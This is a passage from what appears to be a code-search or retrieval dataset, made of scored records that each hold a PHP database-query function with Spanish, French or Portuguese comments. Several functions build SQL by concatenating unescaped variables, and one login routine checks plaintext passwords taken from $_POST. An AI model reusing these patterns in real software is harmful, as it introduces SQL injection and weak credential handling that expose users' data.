SOY2PageController::createLink(\"\");\r\n\t_echo(\"アップグレードバッチは終了しました。\");\r\n//\t_echo(\"続いてファイルの上書きを実行してください。\");\r\n\t_echo(\"<a href='$link'>SOY Shop管理画面に戻る</a>\");\r\n\texit;\r\n}", "title": "" }, { "docid": "8604d9b6cf164324ec3d5ead5f8d30ed", "score": "0.5646281", "text": "function enviar($sql){\n\t\t$resultado = mysql_query($sql)\n\t\tor die (\n\t $this->_msag->viewMsg(\"error\",\n\t\t\t\t\t //$sql,\n\t\t\t\t\t $this->titulomsag,\n\t\t\t\t\t $this->nomeapp.\" - N&Atilde;O FOI POSS&Iacute;VEL ENVIAR DADOS\" ,\n\t\t\t\t\t \"\",\n\t\t\t\t\t $this->camminhobotao,\n\t\t\t\t\t 55)\n\t\t\t\t\t );\n\n\t\treturn $resultado;\n\t}", "title": "" }, { "docid": "51139cc54e25b00c816ba70e292434ae", "score": "0.56408536", "text": "function f_InsertaUsser($usuario,$clave,$nombre,$nvel ){\n\t$con = new DBManager;\n\t$SQL1 = \" exec S_InseUser '\".$usuario.\"','\".$clave.\"','\".$nombre.\"','\".$nvel.\"'\";\n\treturn $con->conectar()->query($SQL1);\n}", "title": "" }, { "docid": "01eebfb3bdfa33f27f3b369d364842f5", "score": "0.5625243", "text": "function sentencia($sql){\n $result = false;\n try {\n $this->stmt = $this->pdo->prepare($sql);\n $result = $this->stmt->execute();\n return $result;\n } catch (Exception $ex) { \n $this->error = $ex->getMessage(); \n return false;\n }\n }", "title": "" }, { "docid": "c2596db976e845f24cce931820883de9", "score": "0.5620514", "text": "function obtenerProductoSalud($id) {\n // Importamos la conexion con la bd\n include 'conexion.php';\n\n // Intentamos hacer la consulta siempre con un try-catch\n try {\n // Se crea el query y se almacena en una variable ($sql)\n $sql = \"SELECT nombre, imagen_completa, descripcion, descripcion_corta FROM `productos_salud` WHERE id = $id\";\n // echo($sql);\n\n // Se hace la consulta y se guarda en una variable ($resultado)\n $producto = $bd->query( $sql );\n } catch (Exception $e) {\n echo $e->getMessage();\n return array();// retronamos un arreglo vacio. Siempre importa retornar algo para evitar errores\n }\n // Se retorna lo obtenido.\n return $producto;\n}", "title": "" }, { "docid": "8ab370c88aeb86b869f6b3256b04075d", "score": "0.56151927", "text": "public function runSelect($sql)\r\n {\r\n \t $this->getConf();\r\n \t $query = mysql_query($sql);\r\n \t if(!$query) die(mysql_error());\r\n \t return $query;\r\n }", "title": "" }, { "docid": "05b472acdc5d35fb07957d4e3e0ced9c", "score": "0.5614992", "text": "public function mdlConsultarUsuario(){\n $sql = ' call spConsultarUsuario ( ? ) ';\n\n try{\n //INSTANCIAR LA BASE DE DATOS\n $conexion = new Conexion();\n $stmt = $conexion -> conectar() -> prepare($sql);\n //VALOR QUE SE VAN A CONSULTAR\n $stmt -> bindParam (1, $this -> idUsuario, PDO::PARAM_INT);\n\n $stmt -> execute();\n $resulSet = $stmt;\n\n } catch(Exception $e) {\n echo \"Se ha presentado un error en la clase Dao: \".$e->getMessage() . \" El error se encuentra en la linea \" . $e->getLine();\n } catch(PDOException $ex) {\n echo \"Se ha presentado un error al consultar los datos: \".$ex->getMessage() . \" El error se encuentra en la linea \" . $ex->getLine();\n }\n\n return $resulSet;\n }", "title": "" }, { "docid": "f17d75217dc3ba994b354f79d3ae6698", "score": "0.56147236", "text": "function EjecutaPL($nombre)\n {\n $query=$nombre;\n\t\t//echo \"<br>\".$procedimiento;\n\t\t$this->ExecuteConsulta($query);\n if (!$this->_ConsultaId)\n {\n $mensaje = 'Fallo al ejecutar procedimiento: '.$nombre.\"<BR>\";\n $mensaje .= 'MySql Error: ' .mysql_error();\n die($mensaje);\n }\n return $this->_ConsultaId;\n }", "title": "" }, { "docid": "ff76cb723e0ed7a8e1d50ab895260396", "score": "0.5603948", "text": "function select_data_step_info($connect, $dbname, $tablename, $where, $id, $where2, $id2, $where3, $id3)\n{\n\ttry\n\t{\n\t\t//echo \"Le nom de la function : \".__FUNCTION__.\" / Le nom du document : \".__FILE__.\" / Le numero de la ligne : \".__LINE__;\n\t\t\t$info = array(\n\t\t\t\t\"Le nom de la function : \".__FUNCTION__,\n\t\t\t\t\"Le nom du document : \".__FILE__,\n\t\t\t\t\"Le numero de la ligne : \".__LINE__);\n\t\t\t\t\n\t\t\t$query = \"SELECT *\n\t\t\t\t\t\tFROM \".$dbname.\".\".$tablename.\"\n\t\t\t\t\t\tWHERE \".$where.\" = :Param1\n\t\t\t\t\t\tAND \".$where2.\" = :Param2\n\t\t\t\t\t\tAND \".$where3.\" = :Param3\";\n\t\t\t\t\t\t\n\t\t\t$curseur = $connect -> prepare($query);\n\t\t\t$curseur -> bindValue(':Param1', $id, PDO::PARAM_STR);\n\t\t\t$curseur -> bindValue(':Param2', $id2, PDO::PARAM_STR);\n\t\t\t$curseur -> bindValue(':Param3', $id3, PDO::PARAM_STR);\n\t\t\t$curseur -> execute();\n\t\t\t$retour = $curseur -> fetchAll(PDO::FETCH_OBJ);\n\t\t\t$curseur ->closeCursor();\n\t\t\t\n\t\t\t$debug_tableau = array($info ,$query);\n\t\t\tarray_push($_SESSION[\"requetes\"], $debug_tableau);\t\n\n\t\t\treturn $retour;\n }\n catch ( Exception $e ) \n\t{\n\t die('Erreur Mysql : '.$e->getMessage());\n\t}\n\t\t\n}", "title": "" }, { "docid": "30f5b0f720b31eb4f32978eccc8b58d0", "score": "0.5594876", "text": "public function afficher_commandes($idclient)\n{\n $sql=\"select * from list_com where idclient=:idclient\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n $req->bindValue(':idclient',$idclient);\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "65f39c102cadbd8b1696d78572cca551", "score": "0.55918026", "text": "function consultarAlertas()\n{\n\n if (isset($_POST['accion']) && $_POST['accion'] === 'consultarNotificaciones') {\n if (gestionarSesionyRol(0) == 1) {\n\n $consulta = \"SELECT * FROM Alertas WHERE `fk_correo_receptor` = '\" . $_SESSION['correo'] . \"' AND estado = 0\";\n\n\n $conector = new ConectorBD();\n\n $resultado = $conector->consultarBD($consulta)->fetchAll(PDO::FETCH_ASSOC);\n\n\n\n if (count($resultado)) {\n echo 1;\n } else {\n echo -1;\n }\n }\n }\n}", "title": "" }, { "docid": "a8e807cf0efebbe19021a7d0e22ca217", "score": "0.5573937", "text": "public function executeQuery();", "title": "" }, { "docid": "5eee7f7b33181eb31244067594437b49", "score": "0.55730915", "text": "public function buscarDBEdificio($p){\n\n $p = htmlspecialchars(trim($p));\n\n if($p == 01)\n {\n $sql = \"SELECT * FROM edificiomelendez ORDER BY codigo;\";\n $l_stmt = $this->conexion->prepare($sql);\n if (!$l_stmt){\n $GLOBALS['mensaje'] = MJ_PREPARAR_CONSULTA_FALLIDA;\n }\n else{\n if(!$l_stmt->execute()){\n $GLOBALS['mensaje'] = MJ_CONSULTA_FALLIDA;\n }\n\n if($l_stmt->rowCount() > 0)\n {\n $result = $l_stmt->fetchAll();\n $GLOBALS['mensaje'] = \"Exito\";\n }\n else\n {\n $GLOBALS['mensaje'] = \"No hay registro asociado a su consulta\";\n }\n }\n\n }\n if($p == 02){\n $sql = \"SELECT * FROM edifsanfernando ORDER BY codigo;\";\n $l_stmt = $this->conexion->prepare($sql);\n if (!$l_stmt){\n $GLOBALS['mensaje'] = MJ_PREPARAR_CONSULTA_FALLIDA;\n }\n else{\n if(!$l_stmt->execute()){\n $GLOBALS['mensaje'] = MJ_CONSULTA_FALLIDA;\n }\n\n if($l_stmt->rowCount() > 0)\n {\n $result = $l_stmt->fetchAll();\n $GLOBALS['mensaje'] = \"Exito\";\n }\n else\n {\n $GLOBALS['mensaje'] = \"No hay registro asociado a su consulta\";\n }\n }\n\n }\n if($p == 03){\n $sql = \"SELECT * FROM otrosespacios ORDER BY codigo;\";\n $l_stmt = $this->conexion->prepare($sql);\n if (!$l_stmt){\n $GLOBALS['mensaje'] = MJ_PREPARAR_CONSULTA_FALLIDA;\n }\n else{\n if(!$l_stmt->execute()){\n $GLOBALS['mensaje'] = MJ_CONSULTA_FALLIDA;\n }\n\n if($l_stmt->rowCount() > 0)\n {\n $result = $l_stmt->fetchAll();\n $GLOBALS['mensaje'] = \"Exito\";\n }\n else\n {\n $GLOBALS['mensaje'] = \"No hay registro asociado a su consulta\";\n }\n }\n\n }\n\n return $result;\n }", "title": "" }, { "docid": "f3eb70893af01c3cb4fcf5acdad32f7e", "score": "0.55727726", "text": "public function afficher_commandes_idc_idcom($idcommande,$idclient)\n{\n $sql=\"select * from commandes where idclient=:idclient and idcommande=:idcommande\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n $req->bindValue(':idclient',$idclient);\n $req->bindValue(':idcommande',$idcommande);\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "6b2784919bbd9ca4c87e063c87aa3220", "score": "0.5567442", "text": "function recuperarComite(){\n\n\t\t$this->procedimiento='adq.f_solicitud_sel';\n\t\t$this->transaccion='ADQ_RMEMOCOMDCR_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t$this->setCount(false);\n\n\t\t$this->setParametro('id_proceso_wf','id_proceso_wf','int4');\n\n\t\t//Definicion de la lista del resultado del query\n\n\n\t\t$this->captura('funcionario','text');\n\t\t$this->captura('proveedor','varchar');\n\t\t$this->captura('tramite','varchar');\n\t\t$this->captura('nombres','varchar');\n\t\t$this->captura('fecha_po','varchar');\n\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t//var_dump($this->consulta);exit;\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "ab4b67329eb7585a7ee722d030a5d577", "score": "0.5564437", "text": "public function afficher_commandes1($idclient)\n{\n $sql=\"select * from commandes where idclient=:idclient\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n $req->bindValue(':idclient',$idclient);\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "8eb5a88ceba4c09908c84ef3052c0f52", "score": "0.556102", "text": "function execulta($tipo){\r\n\t\t$this->tipo_requisicao = $tipo = strtolower($tipo);\r\n\t\t\r\n\t\tif($tipo == 'select' or $tipo == 'SELECT'):$this->select();\r\n\t\t\telseif($tipo == 'delete' or $tipo == 'DELETE'):$this->delete();\r\n\t\t\telseif($tipo == 'update' or $tipo == 'UPDATE'):$this->update();\r\n\t\t\telseif($tipo == 'insert' or $tipo == 'INSERT'):$this->insert();\r\n\t\t\telse:\r\n\t\t\techo \"parametro no methodo execulta(parametro) não foi setado ou o paramentro passado não é válido\";\r\n\t\t\texit;\r\n\t\tendif;\r\n\t\r\n\t}", "title": "" }, { "docid": "699ca842843e94b2711bc8396c36772b", "score": "0.5553504", "text": "function reporteTipoCurso($conn){\n $sql=\"select ent.*\nfrom entrevista_alumno ent\n inner join empleado emp on emp.rut_emp = ent.rut_entrevistador\n where id_ano = $this->ano and id_curso = $this->curso \n and tipo_entrevista = $this->tipo\";\n$result = @pg_exec($conn,$sql) or die (\"SELECT FALLO (conteo descarga):\".$sql);\n\t\treturn $result;\n}", "title": "" }, { "docid": "ad2712e7a1de8aab0d86b20ea5940c05", "score": "0.5552989", "text": "public function executar() {\n\n $this->carregarDadosLicitacao();\n $this->carregarItensDaLicitacao();\n $this->carregarDocumentosDaLicitacao();\n }", "title": "" }, { "docid": "b99ab501a1f128aaacd841a418b329e5", "score": "0.5552176", "text": "function EjecutarConsulta($Sentencia = null)\n\t{\n\t\t$resultado = null;\n\t\tif(!$this->EstaConectado())\n\t\t$this->arrojarError('No hay conexión activa para ejecutar esta sentencia');\n\t\tif($Sentencia == null && $this->Sentencia == null)\n\t\t$this->arrojarError('No hay sentencias para ejecutar');\n\t\telse if($Sentencia == null)\n\t\t$Sentencia = $this->Sentencia;\n\t\t$resultadosSentencia = mysql_query($Sentencia, $this->conexion) or $this->arrojarError();\n\t\t$this->incrementarContadorSentenciasRealizadas();\n\t\tif(mysql_num_rows($resultadosSentencia) >= 1)\n\t\t{\n\t\t\t$resultado = array();\n\t\t\t$resultadoSentencia = mysql_fetch_assoc($resultadosSentencia);\n\t\t\tdo\n\t\t\t$resultado[] = $resultadoSentencia;\n\t\t\twhile($resultadoSentencia = mysql_fetch_assoc($resultadosSentencia));\n\t\t}\n\t\tmysql_free_result($resultadosSentencia);\n\t\treturn $resultado;\n\t}", "title": "" }, { "docid": "9593af461641837512beb56bd5400038", "score": "0.5547705", "text": "function resultadoCompra(){\n if( $this->validaFirma() ){\n $this->guardaRegistro();\n }\n }", "title": "" }, { "docid": "d3dd4537c189222103234299dc2cda8f", "score": "0.55476946", "text": "function select($sql, $cond=null){\n $result = false;\n try {\n $this->stmt = $this->pdo->prepare($sql);\n $this->stmt->execute($cond);\n $result = $this->stmt->fetchAll();\n return $result;\n } catch (Exception $ex) { \n $this->error = $ex->getMessage(); \n return false;\n }\n }", "title": "" }, { "docid": "a38eed2bc9846f450193f75006534ba2", "score": "0.5546042", "text": "private function executaSQL($sql) {\r\n //echo $sql;\r\n return mysql_query($sql);\r\n }", "title": "" }, { "docid": "9f08d105940372cba109f5fa8058739c", "score": "0.5532033", "text": "function existeSeleccion($parte,$usuario){\n $con = new DBManager;\n //usamos el metodo conectar para realizar la conexion\n if($con->conectar()==true){\n $query = \"SELECT * FROM diagnosticos_seleccionados_$usuario WHERE parte='$parte'\";\n\t $result = @mysql_query($query);\n\t $row=mysql_fetch_row($result);\n\t if (!$row)\n\t return false;\n\t else\n\t return true;\n }\n }", "title": "" }, { "docid": "d81c9bb7308be09d92b51f5459994bcc", "score": "0.5530997", "text": "function ExecuteSelectQuery($sql, $params = null)\n{\n global $conn;\n $conn = OpenConnection();\n try {\n $stmt = $conn->prepare($sql);\n $stmt->execute($params);\n $result = $stmt->fetchAll();\n } catch (PDOException $e) {\n ErrorPHP::ShowMessage($e->getMessage());\n $result = false;\n }\n $conn = null;\n return $result;\n}", "title": "" }, { "docid": "b8828fe5df356245e44334da31a26462", "score": "0.552853", "text": "function queryRun($sql){\n global $conexion;\n $query = $conexion->query($sql);\n if ($conexion->error) {\n return (\"Error SQL: \". $conexion->error);\n }\n return $query;\n }", "title": "" }, { "docid": "59ebc0044f0d324bafb663efa35b20ed", "score": "0.55232203", "text": "protected function execute_query()\n {\n \t$this->open_connection(); \n $stm = $this->conn->prepare($this->query);\n $stm->execute() ;\n $this->rows= array(\"cuerpo\"=> $stm->fetchAll()); \n \t var_dump($this->rows);\n $this->close_connection();\n }", "title": "" }, { "docid": "bfc66919690c20893339aa9fa17de297", "score": "0.55201644", "text": "function get() {\r\n //return $data->fetchall(); \r\n $sql = $this->_db->prepare(\"SELECT uiosIdVinculacion, CONCAT(dlesNombre,' ',dlesPrimerApellido) AS Nombre, uiosIdRol FROM usuarios \r\nINNER JOIN vinculaciones ON uiosIdVinculacion=vnesId\r\nINNER JOIN datopersonales ON vnesIdDatoPers=dlesDocumento \r\nWHERE vnesEstado='A' AND uiosEstado='A' AND uiosNombreUsuario= ? AND uiosPassword= ?\");\r\n $sql->execute(array($_POST['txtUsuario'], $_POST['txtPass']));\r\n $rs = $sql->fetchall();\r\n if (isset($rs) && count($rs)) {\r\n $_SESSION['autentificado'] = 'Si';\r\n $_SESSION['perfil'] = 'admin';\r\n $_SESSION['documento'] = $rs[0]['uiosIdVinculacion'];\r\n $_SESSION['usuario'] = ucwords(strtolower($rs[0]['Nombre']));\r\n } else {\r\n $_SESSION['autentificado'] = 'No';\r\n $_SESSION['perfil'] = '';\r\n $_SESSION['documento'] = '';\r\n $_SESSION['usuario'] = '';\r\n }\r\n }", "title": "" }, { "docid": "6ea17bad7faca8b922dc51b72a7a7166", "score": "0.55139923", "text": "public function execute() \n {\n $this->table = null;\n $this->operation = null;\n $this->from = null;\n $this->join = array();\n $this->whereAnd = array();\n $this->whereOr = array();\n $this->what = array();\n $this->order = null;\n $this->group = null;\n $this->limit = null;\n $this->insert_fields = array();\n $this->insert_values = array();\n $this->set = array();\n \n \n \n return $this->s->execute();\n }", "title": "" }, { "docid": "fcc8b5cf008bf60be6ce15292a08ac80", "score": "0.5502943", "text": "public function logAcesso()\n {\n $getCnpj = $_GET['PARAMETRO'];\n\n //Pega o ip que acessou pelo navegador ou app\n $ipAcessado = $_SERVER['HTTP_HOST'];\n\n //Pega o ip da pessoa acessada\n $ipClient = $_SERVER['REMOTE_ADDR'];\n\n //Chama a conexao passando o banco\n $con = Conexao::conection('cpd');\n\n //Monta o sql para inserir os dados\n $sql = \"INSERT INTO dbo.MSV_WebService_Consumido (WebService,Solicitacao,DT_CHAMADA, URL_SOURCE) \n VALUES ('entidades', '$getCnpj',getdate(), 'ip acessado = $ipAcessado , ip do cliente = $ipClient' ) \";\n\n //Executa a query\n $query = sqlsrv_query($con, $sql);\n\n }", "title": "" }, { "docid": "f643a954cb69f7f0279ad4852d3eb36a", "score": "0.55027485", "text": "public function tri_com()\n{\n $sql=\"select * from list_com order by date,prixtotal\";\n $db=config::getConnexion();\n $req=$db->prepare($sql);\n\n try\n {\n $req->execute();\n // $query->execute();\nreturn $req;\n \n\n }\n catch(Exeption $e)\n {\n die('Erreur: '.$e->getMessage());\n }\n}", "title": "" }, { "docid": "56aad901d6a0faad1bc54f3974623c7d", "score": "0.5502582", "text": "function CR_U_Paso($p_enlace=NULL,$p_where) {\n\t$sql_transac = \"SELECT * FROM `_vista_compuesta_de_retiros_para_reportes` \".$p_where;\n\tif ( $result1 = mysqli_query($p_enlace,$sql_transac) ) {\n\t\tif ( mysqli_num_rows($result1) >= 1 ) {\n\t\t\treturn($result1);\n\t\t}\n\t\tif ( mysqli_num_rows($result1) == 0 ) {\n\t\t\treturn('El resulset tiene cero filas que mostrar.<br />'.$sql_transac.'<br />');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5165e97524bf3b60ebe4b3acc9e9c6f9", "score": "0.5500078", "text": "protected function consulta($sql) {\n\n $buscar_minuscula = stristr($sql, 'select');\n $buscar_mayuscula = stristr($sql, 'SELECT');\n $buscar_mayuscula_set = stristr($sql, 'SET');\n $buscar_minuscula_Set = stristr($sql, 'set');\n\n if ($buscar_minuscula or $buscar_mayuscula or $buscar_mayuscula_set or $buscar_minuscula_Set){\n \n return $this->mysqli->query($sql);\n \n }else{\n echo \"ERROR AL ENVIAR CONSULTA DEBE CONTENER SELECT\"; \n return \"NO CUMPLE LA CONDICION SELECT\";\n }\n\n return false;\n }", "title": "" }, { "docid": "f9ceb7030053b699d2100a8b2d9fa50e", "score": "0.5497256", "text": "function dbExec($db, $query, $tipusResultat=1) {\n \n $estat = (object)array('error' => false, 'msg' => '' , 'numerr' => 0);\n $dades = array();\n\n if (!isset($query) ) die('<h1>No es una consulta correcte !</h1>');\n\n $link = mysql_connect(\"localhost\", \"root\", \"\");\n\n if (!$link) die('Not connected : ' . mysql_error());\n\n $db_selected = mysql_select_db($db, $link);\n\n if (!$db_selected) {\n die ('No es possible utilitzar la bd: ' . mysql_error());\n }\n\n $result = mysql_query($query);\n\n if (!$result)\n $estat = (object)array('error' => true, 'msg' => mysql_error(), 'numerr' => mysql_errno());\n else\n {\n switch($tipusResultat)\n {\n // retorna un array associatiu (SELECT)\n case 1:\n while ($obj = mysql_fetch_assoc($result)) \n $dades[] = (object)array_map('utf8_encode', $obj) ;\n break;\n // insert\n case 2:\n $dades = mysql_insert_id();\n break;\n // update\n case 3:\n $dades = mysql_affected_rows();\n break;\n default:\n $dades = true;\n break;\n }\n }\n \n $retorn = array();\n array_push($retorn, $estat);\n array_push($retorn, $dades); \n \n return $retorn;\n \n // Alliberar resultat\n mysql_free_result($result);\n\n // Tancar connexió\n mysql_close($link);\n\n}", "title": "" }, { "docid": "0a24a7f8b3c12a09d66f6290b3f0f5ce", "score": "0.54841", "text": "public function inserir(){\n\n $campos = 'id_usuario, nome_usuario, telefone, email_usuario';\n $stakeholders = ':id, :nome, :telefone, :email';\n $tipos = array('integer', 'text', 'text', 'text');\n $query = \"INSERT INTO {$this->tabelaDAO} ({$campos}) VALUES ({$stakeholders})\";\n $objConexao = $this->getObjetoConexao();\n $statement = $objConexao->prepare( $query, $tipos, MDB2_PREPARE_MANIP );\n \n //Excecao de sistema no caso de uma falha ao se criar um 'prepared statement'\n if ( PEAR::isError( $statement ) ){\n throw new ExcecoesSistema( $statement->getUserInfo(), ExcecoesSistema::_CODIGO_EXCECAO_PREPARARQUERY_ );\n $statement->free();\n }\n \n //Cria a sequence do banco. Caso exista, retorna o proximo valor\n $pkUsuario = $objConexao->nextID( $this->sequence );\n \n //Excecao de sistema no caso de uma falha de criacao da sequence\n if ( PEAR::isError( $pkUsuario ) ){\n throw new ExcecoesSistema( $pkUsuario->getUserInfo(), ExcecoesSistema::_CODIGO_EXCECAO_ERROCRIASEQUENCE_ );\n $statement->free();\n }\n \n //Array com os dados que serao inseridos\n $usuarioVO = $this->objetoCriterio;\n $dados = array( 'id' => $pkUsuario,\n 'nome' => $usuarioVO->getNomeUsuario(), \n 'telefone' => $usuarioVO->getTelefoneUsuario(),\n 'email' => $usuarioVO->getEmailUsuario(),\n );\n \n //Executa a query preparada\n $rs = $statement->execute($dados);\n \n //Excecao de sistema no caso de uma falha de execucao de query\n if ( PEAR::isError( $rs ) ){\n throw new ExcecoesSistema( $rs->getUserInfo(), ExcecoesSistema::_CODIGO_EXCECAO_ERROQUERY_ );\n $statement->free();\n }\n \n return $rs;\n }", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.5477676", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.5477676", "text": "public function select();", "title": "" }, { "docid": "c0ac9789e9d0c151cdbce356f39fe44f", "score": "0.5475107", "text": "function U_DB_Select(\n/* PDO */$dbhSelect,\n/* */$sSelectQuery,\n/* array */$aSelectData\n ) {\n\n $biReturnValue = false;\n\n $dbSelectQuery = Prepare_Query($dbhSelect, $sSelectQuery);\n try { // Load the execute object with the data\n if ($dbSelectQuery->execute($aSelectData)) {\n $biReturnValue = $dbSelectQuery->fetchAll();\n }\n } catch (PDOException $peException) {\njson_Die($peException);\n }\n\n return $biReturnValue;\n }", "title": "" }, { "docid": "625c8f8f4aed9937afbee76096cad894", "score": "0.5471351", "text": "function ejecutarNonQueryConErrores($sqlstr, &$conexion = null){\n if(!$conexion) global $conexion;\n $result = $conexion->query($sqlstr);\n return $conexion->error;\n }", "title": "" }, { "docid": "987560d4592ccec8301eeb0f2965f6fc", "score": "0.5469806", "text": "function ejecutarSentenciaSpi($modo = 1) {\n\n $result = oci_parse($this->conexSpi, $this->sql);\n oci_execute($result);\n if ($modo == 1) {\n return $result;\n } else if ($modo == 2) {\n if (!$result) {\n echo \"<br>\" . $this->sql . \"<br>\" . \"Error Query\" . \"<br>\";\n $rows = false;\n } else {\n oci_fetch_all($result, $rows, null, null, OCI_FETCHSTATEMENT_BY_ROW);\n }\n return $rows;\n }\n }", "title": "" }, { "docid": "4c70cf3ff11801996659b3957c10f3f0", "score": "0.54695", "text": "public function query($sql)\n\t\t{\n\t\t\tif (strtolower($this->char) == \"utf8\") \n\t\t\t{\n\t\t\t\t@$query = mysqli_query($this->conn, $sql);\n\t\t\t}\n\n\t\t\tif(!$query)\n\t\t\t{\n\t\t\t\tglobal $loader;\n\t\t\t\t$loader->load('jdf','lib','shamsi');\n\t\t\t\t$loader->load_class('input','core');\n\t\t\t\t\n\t\t\t\t$message=str_replace('\\'',\"/\",mysqli_error($this->conn));\n\t\t\t\t$code=str_replace('\\'',\"/\",mysqli_errno($this->conn));\n\t\t\t\t$sqlstring=str_replace('\\'',\"/\",$sql);\n\n\t\t\t\t$user_id= (isset($_SESSION[\"Reseller_Id\"]) ? $_SESSION[\"Reseller_Id\"]:0);\n\n\t\t\t\t$values = array(\n\t\t\t\t\t'url'=>'',\n\t\t\t\t\t'text'=>'',\n\t\t\t\t\t'err'=>$message,\n\t\t\t\t\t'code'=>$code,\n\t\t\t\t\t'sql'=>$sqlstring,\n\t\t\t\t\t'user_id'=>$user_id,\n\t\t\t\t\t'file'=>'mysql',\n\t\t\t\t\t'action'=>'query',\n\t\t\t\t\t'ip'=>$loader->classes['input']->ip_address(),\n\t\t\t\t\t'date'=>standard_date_time(),\n\t\t\t\t\t'err_type'=>'db'\t\t\t\t\n\t\t\t\t\t);\n\n\t\t\t\tif ( function_exists('Logs'))\n\t\t\t\t\tLogs('running_query',15,' error in sql errCode: '.$code,2);\n\t\t\t\t$loader->db_accounting->insert_Secure('tbl_security_log',$values,'','');\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//$sqlstring = str_replace('\\'', \"/\", $sql);\n\t\t\t\t//Logs('running_query', 4, ' sql : ' . $sqlstring);\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif (DB_DEBUG) {\n\t\t\t\t$this->debug(\"SQL\", $sql, $query);\n\t\t\t}\n\t\t\tif ((strtolower(substr(trim($sql), 0, 6)) == \"select\") && ($query != false)) \n\t\t\t{\n\t\t\t\t$return = null;\n\t\t\t\twhile ($line = mysqli_fetch_object($query)) {\n\t\t\t\t\t$new_line = ($this->variable == 'object') ? (object)null : (array)null;\n\t\t\t\t\tforeach ((array)$line as $key => $value) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$value = $this->replace(((strtolower($this->char) == \"utf8\") ? utf8_encode($value) : $value), true);\n\t\t\t\t\t\tif ($this->variable == 'object') {\n\t\t\t\t\t\t\t$new_line->$key = $value;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t$new_line[\"$key\"] = $value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$return[] = $new_line;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif (strtolower(substr($sql, 0, 6)) == \"insert\") {\n\t\t\t\t$return = mysqli_insert_id($this->conn);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$return = mysqli_affected_rows($this->conn);\n\t\t\t}\n\n\t\t\treturn $return;\n\t\t}", "title": "" }, { "docid": "c30014a19e9bd388243de8d76f8eab66", "score": "0.54683256", "text": "function reporteSolicitud(){\n\t\t$this->procedimiento='adq.f_solicitud_sel';\n\t\t$this->transaccion='ADQ_SOLREP_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t$this->setCount(false);\n\t\t\n\t\t$this->setParametro('id_solicitud','id_solicitud','int4');\n\t\t$this->setParametro('id_proceso_wf','id_proceso_wf','int4');\n\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_solicitud','int4');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('id_solicitud_ext','int4');\n\t\t$this->captura('presu_revertido','varchar');\n\t\t$this->captura('fecha_apro','date');\n\t\t$this->captura('estado','varchar');\n\t\t$this->captura('id_funcionario_aprobador','int4');\n\t\t$this->captura('id_moneda','int4');\n\t\t$this->captura('id_gestion','int4');\n\t\t$this->captura('tipo','varchar');\n\t\t$this->captura('num_tramite','varchar');\n\t\t$this->captura('justificacion','text');\n\t\t$this->captura('id_depto','int4');\n\t\t$this->captura('lugar_entrega','varchar');\n\t\t$this->captura('extendida','varchar');\n\t\t\n\t\t$this->captura('posibles_proveedores','text');\n\t\t$this->captura('id_proceso_wf','int4');\n\t\t$this->captura('comite_calificacion','text');\n\t\t$this->captura('id_categoria_compra','int4');\n\t\t$this->captura('id_funcionario','int4');\n\t\t$this->captura('id_estado_wf','int4');\n\t\t$this->captura('fecha_soli','date');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('id_uo','integer');\n\t\t$this->captura('desc_funcionario','text');\n\t\t\n\t\t$this->captura('desc_funcionario_apro','text');\n\t\t$this->captura('desc_uo','text');\n\t\t$this->captura('desc_gestion','integer');\n\t\t$this->captura('desc_moneda','varchar');\n\t\t$this->captura('desc_depto','varchar');\n\t\t$this->captura('desc_proceso_macro','varchar');\n\t\t$this->captura('desc_categoria_compra','varchar');\n\t\t$this->captura('id_proceso_macro','integer');\n\t\t$this->captura('numero','varchar');\n\t\t$this->captura('desc_funcionario_rpc','text');\n\t\t$this->captura('nombre_usuario_ai','varchar');\n\t\t$this->captura('codigo_uo','varchar');\n\t\t\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "e7097babfdf319d39c2b90bc32356858", "score": "0.54658693", "text": "public function ejecutar($sql){\n $c=new conectar();\n $conexion=$c->conexion();\n return $resultado=mysqli_query($conexion,$sql);\n }", "title": "" }, { "docid": "befe3e34dba8b2cdb589bb5c172b52b4", "score": "0.54646915", "text": "function loguearAdministradorDAO($AdministradorDTO) {\n $conectar = Conexion::crearConexion();\n $exito = false;\n try {\n $codigo = $AdministradorDTO->getCodigo();\n $contraseña = $AdministradorDTO->getContraseña();\n $consulta = $conectar->prepare(\"SELECT usuarioadministrador.nombre AS nombre,usuarioadministrador.correo AS correo,usuarioadministrador.telefono AS telefono,usuarioadministrador.cargo AS cargo FROM usuarioadministrador 